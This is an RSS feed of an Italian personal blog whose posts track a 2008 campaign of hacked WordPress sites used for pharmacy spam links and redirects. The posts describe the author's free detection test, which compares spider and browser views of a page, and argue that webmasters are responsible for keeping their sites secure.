<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Il non-blog di Mario Pascucci &#187; spam</title>
	<atom:link href="http://www.ismprofessional.net/pascucci/index.php/tag/spam/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.ismprofessional.net/pascucci</link>
	<description>Sto lavorando sodo per preparare il mio prossimo errore (B. Brecht)</description>
	<lastBuildDate>Wed, 04 Jan 2012 11:50:08 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Forensics for Spammer (o era Spammer for Forensics?)</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2009/08/forensics-for-spammer-o-era-spammer-for-forensics/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2009/08/forensics-for-spammer-o-era-spammer-for-forensics/#comments</comments>
		<pubDate>Tue, 18 Aug 2009 12:16:57 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Fuori tema]]></category>
		<category><![CDATA[Computer Forensics]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=718</guid>
		<description><![CDATA[Appena ricevuta e finita (ovviamente) nello spam. Da questo momento le battute su come sei diventato CTU si sprecheranno. Non è che ci trovi molto da ridere. Ma anche questo è prevedibile, non sono mai stato un tipo originale. Per chi non sapesse chi è Gil Grissom. E qui per chi non sapesse cosa sia [...]]]></description>
			<content:encoded><![CDATA[<p>Appena ricevuta e finita (ovviamente) nello spam. </p>
<div id="attachment_719" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.ismprofessional.net/pascucci/wp-content/uploads/forensic-degree.png"><img src="http://www.ismprofessional.net/pascucci/wp-content/uploads/forensic-degree-300x271.png" alt="Ti senti un Gil Grissom, nel profondo? Che aspetti? Comprati una certificazione!" title="Compra una certificazione in Forensics!" width="300" height="271" class="size-medium wp-image-719" /></a><p class="wp-caption-text">Ti senti un Gil Grissom, nel profondo? Che aspetti? Comprati una certificazione!</p></div>
<p>Da questo momento le battute su come sei diventato CTU si sprecheranno. </p>
<p>Non è che ci trovi molto da ridere. Ma anche questo è prevedibile, non sono mai stato un tipo originale. </p>
<p>Per chi non sapesse chi è <a href="http://images.google.it/images?q=gil+grissom&#038;oe=utf-8&#038;sa=X&#038;oi=image_result_group&#038;ct=title&#038;resnum=4">Gil Grissom</a>. E qui per chi non sapesse cosa sia la <a href="http://en.wikipedia.org/wiki/Forensic_science">Forensics</a>. Magari vale la pena di leggere qualcosa sull&#8217;<a href="http://it.wikipedia.org/wiki/Effetto_CSI">effetto CSI</a> (anche in inglese: <a href="http://en.wikipedia.org/wiki/CSI_effect">CSI effect</a>). Posso testimoniare che, almeno nel mio campo di competenza, l&#8217;effetto CSI ha <a href="http://www.ismprofessional.net/pascucci/index.php/2009/04/la-vita-comoda-dellinsider/">conseguenze devastanti</a>. </p>
<p>Nota personale: nell&#8217;articolo in inglese sulle scienze forensi, la Computer Forensics, insieme alla Information Forensics, occupano un posticino molto piccolo. Ma proprio piccolo. Ecco.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2009/08/forensics-for-spammer-o-era-spammer-for-forensics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Owned WordPress: blog &#8220;dormienti&#8221;, aggiornamenti inutili e varie</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2008/11/owned-wordpress-blog-dormienti-aggiornamenti-inutili-e-varie/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2008/11/owned-wordpress-blog-dormienti-aggiornamenti-inutili-e-varie/#comments</comments>
		<pubDate>Tue, 11 Nov 2008 04:00:15 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Information security]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Owned Wordpress]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=383</guid>
		<description><![CDATA[Sono più di due mesi che non parlo dell&#8217;argomento, ma non significa assolutamente che il pericolo sia passato, tutt&#8217;altro. Il numero di blog italiani violati è molto alto, e si mantiene costante non perché la tempesta sia passata, ma per altre ragioni, legate sia alla maggiore reattività dei motori di ricerca sia alla scarsissima reattività [...]]]></description>
			<content:encoded><![CDATA[<p>Sono più di due mesi che non parlo dell&#8217;argomento, ma non significa assolutamente che il pericolo sia passato, tutt&#8217;altro. Il numero di blog italiani violati è molto alto, e si mantiene costante non perché la tempesta sia passata, ma per altre ragioni, legate sia alla maggiore reattività dei motori di ricerca sia alla scarsissima reattività dei proprietari dei blog. Ma potrebbero esserci <a href="http://www.ismprofessional.net/pascucci/index.php/2008/11/falso-aggiornamento-per-wordpress-bug-nelle-versioni-25x-e-successive/">novità in arrivo</a>.</p>
<p>Da qualche tempo ho notato un comportamento diverso per alcuni dei blog violati. Il <a href="http://www.ismprofessional.net/pascucci/index.php/2008/06/owned-wordpress-blog-test-di-contagio/">WordPress Autotest</a> restituisce risultati con meno punteggi rossi, nei test delle parole chiave, in quello dei link nelle differenze e le stesse differenze sono spesso tutti di un rassicurante verde. L&#8217;infezione c&#8217;è, tanto che gli indicatori certi, basati sulle firme caratteristiche, sono rossi, ed anche una ispezione &#8220;visiva&#8221; al codice HTML emesso dal server mostra i segni inequivocabili della violazione. Ma il codice infiltrato nel blog non emette alcun link. Non è il risultato di una pulizia mal riuscita del blog, perché i tag di apertura e chiusura (DIV), il falso account di Google AdSense ed il codice Javascript di occultamento sono al loro posto, ben nascosti dentro il database, e vengono emessi alla visita degli spider, quindi sia i record fasulli nel database che il falso plugin sono al loro posto.</p>
<p>Probabilmente ci sono meno clienti per lo spam, o magari è una mossa per fare riprendere fiato al blog rispetto ai motori di ricerca, e fargli riguadagnare posizioni. Sono già due volte che succede, e la prima volta nel giro di 48 ore i blog &#8220;dormienti&#8221; erano di nuovo pronti ad emettere 100-200 link alla visita di uno spider. </p>
<p>Quindi, se avete fatto il test e sia i link che le parole proibite erano verdi, ma gli indicatori certi erano rossi (i test <strong>H</strong> e <strong>I</strong>) il vostro blog è ancora in mano a qualcun altro. </p>
<p>Parlando d&#8217;altro, ho trovato due blog aggiornati a WordPress 2.6.2 che presentano tutti i segni della violazione, nessuno escluso, a conferma che neanche l&#8217;aggiornamento alla versione 2.6.2 è più sufficiente per ripulire un blog violato in precedenza. Non è da escludere che il mentecatto abbia fatto un &#8220;upgrade&#8221; al codice iniettato, per supportare anche la versione 2.6.x. Niente male, considerando che molti plugin di WordPress sono molto meno aggiornati e spesso fermi alla versione 2.3.x o al massimo alla 2.5.x. Ricordo che se il blog era &#8220;pulito&#8221;, un aggiornamento anche solo alla versione 2.5.1 lo mette al sicuro dall&#8217;essere violato una volta per tutte, mentre se il blog era stato violato <em>prima</em> di essere aggiornato ad una versione 2.5.1 o successiva, <a href="http://www.ismprofessional.net/pascucci/index.php/2008/05/wordpress-perche-non-basta-laggiornamento/">l&#8217;aggiornamento da solo non risolve un bel niente</a> (<a href="http://www.ismprofessional.net/pascucci/index.php/2008/08/owned-wordpress-aggiornare-a-26-o-261-non-risolve/">vedere anche qui</a>). E&#8217; come installare la porta blindata, con il ladro che dorme in salotto.</p>
<p>Il comportamento di redirect ai siti delle farmacie è sempre presente, ma ci sono delle varianti in cui, invece di reindirizzare il browser, viene emessa una pagina del tutto simile a quella di un normale blog, che però nulla ha a che vedere col blog originale, e non è un redirect, il codice viene emesso direttamente dal server del blog visitato. La pagina contiene una messe di frasi sconnesse sintatticamente, ma ricche di parole chiave tutte legate a farmaci: efficacia ed effetti collaterali, vendita online. Il tutto impaginato e presentato come un normale post, con tanto di tags, commenti a tema, permalink e foglio di stile personalizzato. Forse esperimenti per un tipo differente di spam, o per ingannare gli spider e far indicizzare più link senza paura di essere bannati. </p>
<p>Negli ultimi mesi alcune persone si sono accorte autonomamente di avere il blog violato, grazie a stranezze nell&#8217;andamento delle visite, in qualche caso ridotte di un fattore 10, in un altro aumentate di un fattore 5 (!), però con parole chiave non proprio relative al regolare contenuto del sito. Sono stato contattato e ho dato una mano a ripulire, senza &#8220;sdraiare&#8221; completamente il blog, visto che so cosa cercare e dove, nonostante ogni blog sia violato in modo differente: differenti sono i file modificati, differenti quelli inseriti come falso plugin ed infine differenti le modifiche al database, a parte quella dell&#8217;amministratore abusivo. </p>
<p><a href="http://www.ismprofessional.net/pascucci/index.php/2008/08/e-gia-iniziato/">Come avevo ipotizzato qualche tempo addietro</a>, anche alcuni siti basati su Joomla! sono entrati nel girone infernale dei siti <em>own3d</em>. Ho trovato in blog WordPress violati link nascosti che puntano a siti Joomla! violati. Tutti insieme appassionatamente in mano al mentecatto.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2008/11/owned-wordpress-blog-dormienti-aggiornamenti-inutili-e-varie/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WordPress autotest: versione 1.10 e considerazioni.</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2008/08/wordpress-autotest-versione-110-e-considerazioni/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2008/08/wordpress-autotest-versione-110-e-considerazioni/#comments</comments>
		<pubDate>Tue, 12 Aug 2008 08:24:55 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Information security]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[intrusion detection]]></category>
		<category><![CDATA[Owned Wordpress]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=267</guid>
		<description><![CDATA[Agosto, tempo di pensieri poco impegnativi e riposo da tutto. Niente riposo invece per il nostro amico mentecatto. Anzi, si vedono le prime avvisaglie di una modifica allo schema di spamming, probabilmente per contrastare alcune misure prese dai maggiori motori di ricerca (grazie alle quali il rank di questo sito è collassato da 5 a [...]]]></description>
			<content:encoded><![CDATA[<p>Agosto, tempo di pensieri poco impegnativi e riposo da tutto. </p>
<p>Niente riposo invece per il nostro amico mentecatto. Anzi, si vedono le prime avvisaglie di una modifica allo schema di spamming, probabilmente per contrastare alcune misure prese dai maggiori motori di ricerca (grazie alle quali il rank di questo sito è collassato da 5 a 3, ma ormai ho smesso di farmi domande). Naturalmente, il numero di blog italiani compromessi continua a crescere, più velocemente di quanti ne vengano ripuliti, a cui vanno aggiunti quelli infetti da mesi e quelli ripuliti male, naturalmente di nuovo violati. La considerazione che ne emerge è che il mentecatto, informaticamente parlando, si dimostra più competente della media dei webmaster. Dovrebbe essere ormai evidente, fin qui, ma puntualizzare non guasta. </p>
<p>Alcuni dei test stanno perdendo di efficacia. Il numero di link emessi dal codice malevolo alla visita di uno spider è passato da 100 a meno di una quarantina, le parole utilizzate cambiano in continuazione, citando medicinali sempre nuovi. In effetti sto imparando nomi di prodotti farmaceutici mai sentiti prima. Stilarne l&#8217;elenco è sempre più difficile, data l&#8217;estensione del mercato. In questo modo due degli indicatori nel test, quelli con le parole proibite, spesso segnano giallo o addirittura verde. Le parole rilevate sono troppo poche. </p>
<p>Non basta: diventa più difficile trovare i blog compromessi tramite i motori di ricerca, non so che parole cercare. Sarà sempre più difficile scovarne, di blog, e di conseguenza sempre più difficile avvertire le vittime. </p>
<p>Di contro, il mentecatto è tutt&#8217;altro che in ferie. Nelle due ultime settimane ho trovato almeno quindici blog italiani che prima non erano presenti fra quelli compromessi, e che ora mostrano i segni della nuova strategia (pochi link e poche parole chiave), quindi a tutti gli effetti sono &#8220;freschi di violazione&#8221;. Sui blog compromessi da tempo, ed i cui proprietari sono stati avvertiti, anche da mesi, in media ogni pochi giorni cambiano i link e le parole chiave, altro segno che il mentecatto è ancora nella stanza dei bottoni.  </p>
<p>Sul fronte temi infetti, oramai sono definitivamente convinto che il danno cerebrale sia irreversibile: proprio qualche giorno addietro ho notato nei log prodotti dal test uno dei test richiesti al controllo. Il link era alla demo di un tema WordPress, offerto da uno dei siti noti per offrire <a href="http://www.ismprofessional.net/pascucci/index.php/2008/06/wordpress-bello-il-tuo-tema-e-un-trojan/">temi troianizzati</a>. Ovviamente il test era negativo <strong>NON ESSENDO UN TEST PER TEMI DI WORDPRESS</strong>, ma il tema provato era naturalmente farcito con il solito codice PHP per inserire link pubblicitari, nascosto ed offuscato. Mi arrendo. Potrei mettere una domanda obbligatoria nel test, tipo &#8220;Hai capito che questo non è un test per temi infetti?&#8221;, ma scommetto che non servirebbe. Magari in una prossima versione del test la metto, giusto per farmi due risate. </p>
<p>Ah, a proposito: c&#8217;è un blog infetto da mesi nei primi cento di una nota classifica di blog italiani, da me avvertito alla fine di maggio.</p>
<p>Il <a href="http://www.ismprofessional.net/pascucci/wp-test.php">test è al solito posto</a>. Fatelo, e raccomandatelo ai vostri amici. </p>
<p><em>Trust no one</em></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2008/08/wordpress-autotest-versione-110-e-considerazioni/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Owned WordPress autotest: versione 1.5 rilasciata</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2008/06/owned-wordpress-autotest-versione-15-rilasciata/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2008/06/owned-wordpress-autotest-versione-15-rilasciata/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 14:02:07 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Information security]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[hacked blog]]></category>
		<category><![CDATA[intrusion detection]]></category>
		<category><![CDATA[Owned Wordpress]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=232</guid>
		<description><![CDATA[Ho aggiornato il test di controllo per blog compromessi (vedi qui). Le modifiche sono per lo più cosmetiche: viene stampato l&#8217;elenco sia delle parole chiave trovate con il conteggio, sia un campione dei link abusivi. Ho aggiunto alcune parole chiave nuove fra quelle controllate, visto che fra i link spam ora c&#8217;è anche la pubblicità [...]]]></description>
			<content:encoded><![CDATA[<p>Ho aggiornato il test di controllo per blog compromessi (<a href="http://www.ismprofessional.net/pascucci/index.php/2008/06/owned-wordpress-blog-test-di-contagio/">vedi qui</a>). </p>
<p>Le modifiche sono per lo più cosmetiche: viene stampato l&#8217;elenco sia delle parole chiave trovate con il conteggio, sia un campione dei link abusivi. Ho aggiunto alcune parole chiave nuove fra quelle controllate, visto che fra i link spam ora c&#8217;è anche la pubblicità per le suonerie dei cellulari. </p>
<p>Ho aggiunto un avviso sulla natura del controllo, che naturalmente è stato equivocato per un controllo sui temi troianizzati, invece che un test per vedere se il blog ci appartiene ancora, cosa un po&#8217; più grave.</p>
<p>Ma di questo <a href="http://www.ismprofessional.net/pascucci/index.php/2008/06/a-proposito-di-bilanci-wordpress-autotest-grazie-eh/">ho già parlato</a>. Ieri ho avvisato altre sei persone che si trovano con il blog compromesso, e sono siti importanti. Indovinate un po&#8217;? <strong>Nessuna risposta</strong>.</p>
<p>Penso che a breve lascerò perdere questa indagine, e mi dedicherò ad altro. Il mio tempo è limitato e le cose da fare si accumulano, quindi sono costretto a scegliere. </p>
<p>Per ora non pubblicherò il codice del test per evitare che gli spammer possano cambiare lo schema di infezione e vanificare il controllo. Poi chissà. </p>
<p>Da questo momento, se avete il blog compromesso niente più avvisi e niente più aiuto gratis. Spiacente. Come si dice in inglese: <em>you are on your own</em>. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2008/06/owned-wordpress-autotest-versione-15-rilasciata/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Owned WordPress Blog: test di contagio</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2008/06/owned-wordpress-blog-test-di-contagio/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2008/06/owned-wordpress-blog-test-di-contagio/#comments</comments>
		<pubDate>Thu, 05 Jun 2008 10:32:38 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Information security]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[hacked blog]]></category>
		<category><![CDATA[intrusion detection]]></category>
		<category><![CDATA[Owned Wordpress]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=225</guid>
		<description><![CDATA[Il test non è più disponibile dal 17 giugno 2009 Per i dettagli Segue il vecchio articolo Avete dei dubbi sulla integrità fisica e sulla salute del vostro blog? Fate un test! Mi spiego. Ho attrezzato una pagina PHP che effettua alcuni test automatici sul blog di cui viene fornito l&#8217;indirizzo completo. Il risultato è [...]]]></description>
			<content:encoded><![CDATA[<h3>Il test non è più disponibile dal 17 giugno 2009</h3>
<p><a href="http://www.ismprofessional.net/pascucci/index.php/2009/06/owned-wordpress-niente-piu-test/">Per i dettagli</a></p>
<h4>Segue il vecchio articolo</h4>
<p>Avete dei dubbi sulla integrità fisica e sulla salute del vostro blog? Fate un test!</p>
<p>Mi spiego. Ho attrezzato una pagina PHP che effettua alcuni test automatici sul blog di cui viene fornito l&#8217;indirizzo completo. Il risultato è analizzato alla ricerca dei segni distintivi di questo tipo di intrusione: pagine differenti a seconda dello user agent, link contenenti i soliti farmaci venduti online ed altre stranezze. Al termine del test viene visualizzata una tabellina con i risultati. </p>
<p>Naturalmente, data la automaticità del test, il risultato è tutt&#8217;altro che certo, per cui occorre una verifica manuale in caso di segnalazione. </p>
<h4>Cosa fa il test</h4>
<ul>
<li>Tenta l&#8217;identificazione della piattaforma su cui si basa il sito, tramite un semplice <em>fingerprinting</em>: controlla se esiste una pagina di login, se nella home page esiste la parola &#8220;wordpress&#8221;. Se non trova questi segni caratteristici stampa un avviso ed esegue comunque il controllo. Ovviamente se si esegue il test su un sito non basato su WordPress il risultato è privo di senso, o comunque non significativo.</li>
<li>Legge più volte la pagina principale del sito. Una volta la legge presentandosi come spider di un noto motore di ricerca, poi la legge di nuovo presentandosi come un normale browser. Se le due pagine sono differenti, vengono fatti dei controlli sulle differenze, alla ricerca di parole tipiche dello spam, di link e di righe troppo lunghe. </li>
<li>Altri controlli vengono fatti sulla pagina restituita nella visita come spider, contando le parole tipiche dello spam, cercando stringhe esadecimali lunghe e particolari tipi di stile CSS atti a nascondere contenuto. Questi controlli sono &#8220;euristici&#8221; e la presenza di queste anomalie non è indice di infezione certa, ma se ne sono presenti più di uno, ed in numero consistente, conviene fare un controllo.</li>
<li>Viene infine controllata la presenza di due particolari elementi nella pagina, indicatori certi di infezione, una sorta di firma dell&#8217;intrusione. Se si verifica la presenza di questi, anche uno solo, si è in presenza degli effetti di una violazione del sito.</li>
</ul>
<h4>Cosa <em>non fa</em></h4>
<p>Il controllo vale solo per WordPress installato su un sito dedicato, e solo per il tipo di intrusione documentato negli articoli elencati poco sotto. Non è un controllo antivirus, non è un rilevatore di intrusioni di qualsiasi tipo, né un controllo di integrità generico per WordPress. Non è neanche un &#8220;tester di temi contraffatti&#8221;: è impossibile da realizzare a tema installato, il tema va controllato <em>prima</em> di installarlo, e da una persona competente. Tanto meno può ripulire o &#8220;disinfettare&#8221; un blog compromesso: questo può farlo solo il proprietario o il webmaster, e non sarebbe neanche tecnicamente possibile senza operare con i dati di accesso del webmaster.</p>
<p>Se il sito è molto personalizzato, il controllo può fallire in tutti i sensi, cioè segnalare come infetti siti puliti e viceversa. Può non riconoscere un sito basato su WordPress, come può scambiare un sito costruito con altri software con WordPress. In tutti questi casi i risultati sono da prendere molto con le molle. </p>
<p>Il controllo non esegue alcuna operazione critica o intrusiva sul sito: esegue le stesse operazioni di chiunque lo visiti con un normale browser, niente di più. </p>
<h4>Nota bene</h4>
<p>Per evitare abusi e scherzi idioti, ogni richiesta è loggata e sono inseriti alcuni controlli preventivi. Uomo avvisato&#8230;</p>
<p><a href="http://www.ismprofessional.net/pascucci/wp-test.php">La pagina del test è qui</a>.</p>
<p>Se volete altri dettagli, leggete gli articoli predenti elencati sotto, o <a href="http://www.ismprofessional.net/pascucci/index.php/per-contattarmi/">contattatemi</a> direttamente. </p>
<h4>Gli articoli precedenti</h4>
<p>Per chi vuole leggere tutta la storia, qui c&#8217;è l&#8217;elenco con tutti gli articoli che trattano dell&#8217;indagine sui blog violati:</p>
<ul>
<li><a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/wordpress-pagerank-spammer-panic/">WordPress + Pagerank + Spammer = PANIC!</a></li>
<li><a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/wordpress-blog-compromised/">Attention: your WordPress blog may be compromised.</a> (in inglese)</li>
<li><a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-esempi-di-codice-iniettato/">Spam con WordPress: esempi di codice iniettato</a></li>
<li><a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-primi-dettagli-su-un-sito-compromesso/">Spam con WordPress: primi dettagli su un sito compromesso</a></li>
<li><a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-altri-esempi-di-codice-iniettato/">Spam con WordPress: altri esempi di codice iniettato</a></li>
<li><a href="http://www.ismprofessional.net/pascucci/index.php/2008/05/spam-con-wordpress-sempre-piu-sofisticato/">Spam con WordPress: sempre più sofisticato</a></li>
<li><a href="http://www.ismprofessional.net/pascucci/index.php/2008/05/wordpress-perche-non-basta-laggiornamento/">WordPress: perché non basta l&#8217;aggiornamento</a></li>
</ul>
<p>Di seguito alcuni consigli per diminuire il rischio di essere colpiti, e cosa fare quando succede:</p>
<ul>
<li><a href="http://www.ismprofessional.net/pascucci/index.php/2008/05/wordpress-alziamo-i-deflettori/">Come rinforzare le difese di WordPress</a></li>
<li><a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/come-agire-se-il-proprio-sitoblog-viene-compromesso/">Cosa fare quando si viene colpiti</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.ismprofessional.net/pascucci/index.php/2008/06/owned-wordpress-blog-test-di-contagio/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Essere webmaster responsabili</title>
		<link>http://www.ismprofessional.net/pascucci/index.php/2008/05/essere-webmaster-responsabili/</link>
		<comments>http://www.ismprofessional.net/pascucci/index.php/2008/05/essere-webmaster-responsabili/#comments</comments>
		<pubDate>Fri, 23 May 2008 13:23:44 +0000</pubDate>
		<dc:creator>Mario Pascucci</dc:creator>
				<category><![CDATA[Information security]]></category>
		<category><![CDATA[Pensieri sparsi]]></category>
		<category><![CDATA[intrusioni]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[webmaster]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.ismprofessional.net/pascucci/?p=214</guid>
		<description><![CDATA[La recente tempesta di blog compromessi per diffondere spam link nei motori di ricerca più diffusi (riferimenti: [1] [2] [3] [4] [5]) mi ha portato a fare alcune considerazioni, non tutte positive. Anzi. Avere un sito web oggi è veramente semplice. Anche senza spendere un centesimo, ci sono siti che offrono spazio web e possibilità [...]]]></description>
			<content:encoded><![CDATA[<p>La recente tempesta di blog compromessi per diffondere spam link nei motori di ricerca più diffusi (riferimenti: <a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/wordpress-pagerank-spammer-panic/">[1]</a> <a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-esempi-di-codice-iniettato/">[2]</a> <a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-primi-dettagli-su-un-sito-compromesso/">[3]</a> <a href="http://www.ismprofessional.net/pascucci/index.php/2008/04/spam-con-wordpress-altri-esempi-di-codice-iniettato/">[4]</a> <a href="http://www.ismprofessional.net/pascucci/index.php/2008/05/spam-con-wordpress-sempre-piu-sofisticato/">[5]</a>) mi ha portato a fare alcune considerazioni, non tutte positive. Anzi. </p>
<p><span id="more-214"></span></p>
<p>Avere un sito web oggi è veramente semplice. Anche senza spendere un centesimo, ci sono siti che offrono spazio web e possibilità di creare anche pagine dinamiche, con PHP o simili, con o senza database, gratuitamente.</p>
<p>Anche acquistare un nome (www.qualcosa.net) con relativo spazio di pubblicazione è alla portata di quasi tutti. Con una manciata di Euro è possibile registrarsi il nome, avere lo spazio web ed un certo numero di caselle di posta personalizzate. </p>
<p>Dal lato gestione e creazione dei contenuti il panorama è lo stesso. Esistono decine di software per creare il proprio blog, partendo da WordPress per finire con un semplice editor di testo, per chi ama il <em>fai da te estremo</em>, tutti a costo zero.</p>
<p>Insomma <em>improvvisarsi</em> webmaster è cosa fatta. Ma, e qui l&#8217;asino si sfracella, i problemi nascono quando succedono cose che su Internet sono all&#8217;ordine del giorno: una intrusione, un tentativo di sfruttare qualcosa nel nostro sito web per fare cose certamente poco corrette dal punto di vista etico. </p>
<p>Come si può vedere <a href="http://www.ismprofessional.net/pascucci/index.php/2008/05/wordpress-alziamo-i-deflettori/">dall&#8217;articolo</a> pubblicato poco prima di questo, anche usando un software molto collaudato i problemi possono insorgere da una gestione poco accorta. Gestione che richiede delle competenze non certo gratuite. Nel senso che acquisirle costa tempo e fatica, e non bastano un paio di articoletti letti qua e là. </p>
<p>Il problema è molto sottovalutato, e molti webmaster mancano di alcune competenze basilari, mancanza che mette di fronte a rischi gravissimi, ben più di un semplice <strong>500 Internal server error</strong>. Supponiamo che il nostro sito web contenga un software molto diffuso per gestirne i contenuti, proprio come WordPress. Uso questo nome perché ben conosciuto, ma è importante capire che <em>nessun software è esente da questo tipo di problemi</em>. E quando dico nessuno intendo proprio nessuno.<br />
Tornando alla situazione in ipotesi: si scopre che il software scelto per il nostro sito contiene un errore che permette di inserire file nel sito e di eseguirli come parte del software stesso. La nostra responsibilità è quella di fare in modo che nessuno possa sfruttare questo errore, e quindi il nostro sito, per danneggiare altri. </p>
<p>La soluzione più semplice è, naturalmente, aggiornare il software non appena disponibile la versione corretta. Nel frattempo, se l&#8217;errore è effettivamente molto grave, sul sito del produttore del software dovrebbero essere pubblicati dei metodi per diminuire il rischio di essere colpiti (<em>bucati</em> come si dice a volte) o per limitare il danno. </p>
<p>Tutto lineare, logico e condivisibile, no?</p>
<p>No. Manco per niente. Quello che succede nella realtà è ben altro. E posso parlarne con cognizione di causa, visto che nell&#8217;indagare al problema dei siti compromessi in WordPress pieni di spam link ho tentato di avvertire <em>oltre cento persone</em>. </p>
<p>Di queste solo poche hanno risposto e corretto il problema, una percentuale risibile. Molti siti sono abbandonati a sé stessi da mesi o anni, ed il proprietario/webmaster non ha pubblicato sul sito nessun contatto per essere rintracciato. Ovviamente, come <em>ultima ratio</em> finisce che si lascia un commento nel blog, ma è rischioso, perché se i commenti non sono moderati è come mettere una freccia al neon alta 10 metri con su scritto &#8220;questo sito è vulnerabile&#8221;. </p>
<p>Moltissimi non rispondono ai messaggi, e sì che ho badato bene a non nominare i soliti farmaci, come pure ho cercato di evitare alcune parole chiave tipiche dello spam, per evitare filtri antispam troppo zelanti. Mi sembrava di essere in una partita di <a href="http://en.wikipedia.org/wiki/Taboo_(game)">Taboo</a>, il gioco in cui devi far indovinare una parola senza dire una serie di termini palesemente correlati con la parola stessa. Per esempio se la parola è &#8220;balena&#8221;, non puoi dire mammifero, mare, Moby Dick, Achab e via così.</p>
<p>Per non parlare di reazioni &#8220;piccate&#8221; di alcuni, che hanno avuto reazioni simili a chi si sente spiato. </p>
<p>Ma la cosa più frustrante è che molti di questi siti appartengono a grafici, sviluppatori e webmaster, quindi persone che, verosimilmente, hanno dimestichezza con Internet ed in generale con tutto quello che comporta organizzare un sito web. </p>
<p>Naturalmente occorre mettere in conto che la reazione normale ad uno sconosciuto che ti scrive per avvertire che il tuo sito web contiene &#8220;cose strane&#8221; può andare dall&#8217;incredulità all&#8217;indifferenza (ma che vuole &#8216;sto tizio?), fino alla diffidenza (indagavi sul mio sito?). Questo è assolutamente comprensibile. </p>
<p>Quello che è incomprensibile è gestire un sito prono a possibili infiltrazioni da parte di malintenzionati ignorando le possibili conseguenze di questa leggerezza. Nei casi da me esaminati l&#8217;intruso si è limitato a queste attività:</p>
<ul>
<li>Diffondere spam link attraverso il posizionamento nei motori di ricerca dei blog violati.</li>
<li>Redirigere i visitatori ai siti &#8220;commissionari&#8221; dello spam</li>
</ul>
<p>Il primo problema è che alcuni dei siti su cui si viene rediretti tentano di iniettare malware attraverso il browser dei visitatori. Il secondo problema è che chiunque si veda iniettare malware può facilmente pensare che il sito colpevole è quello che lo ha rediretto sul sito trappola. Tocca al proprietario del sito dimostrare che il codice che effettua la ridirezione non è stato messo intenzionalmente dal proprietario stesso del sito, ma è il risultato di una violazione del sito. E, credetemi, non è proprio facilissimo dimostrarlo. </p>
